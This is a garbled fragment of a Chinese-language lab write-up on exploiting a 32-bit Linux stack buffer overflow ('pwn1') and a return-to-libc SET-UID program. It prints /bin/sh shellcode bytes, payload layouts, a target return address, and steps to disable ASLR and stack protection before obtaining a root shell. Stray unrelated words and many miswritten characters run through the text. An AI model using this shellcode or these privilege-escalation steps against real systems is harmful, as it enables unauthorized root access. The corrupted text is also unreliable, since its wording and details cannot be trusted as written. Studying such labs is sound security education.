\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
linux
retaddr+nop+shellcode
,nop+shellcode+retaddr
。由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。实践证实nop+shellcode+retaddr
对于pwn1不是成功的payload,但咱们依然决定往这个坑里跳一下。手动微笑。shell
特别提醒:最后一个字符千万不能是\x0a。\x0a至关于回车键,若回车了下面的操做就作不了了。bash
(cat input_shellcode;cat) | ./pwn1
后这里有三种状态,这三种状态中只有一种才能让接下来的实验顺利进行。保持终端2中程序的运行状态。测试
注意:continue执行的时候,在终端2
敲一下回车,终端1中的continue暂停在断点处。ui
要覆盖的地址(返回地址)是0xffffd300
命令行
用0xffffd300
替换0x01020304
。
3d
成功
调试
sudo apt-get install lib32readline-gplv2-dev日志
由于咱们最后的是要经过看“是否取得root权限”来判断成功与否的,因此攻击对象不能是root用户,要建立一个新用户。
code
进入32位环境,关闭地址随机化,设置zsh程序代替/bin/bash
在root用户下编译,关闭栈保护机制。设置SET-UID
一样是在root用户下编译
删除以前生成的exploit和badfile(个人exploit由于有权限没法命令行删除,索性直接在places下面的图形化界面tmp文件夹里手动删除)
先运行exploit再运行retlib便可得到root权限,成功!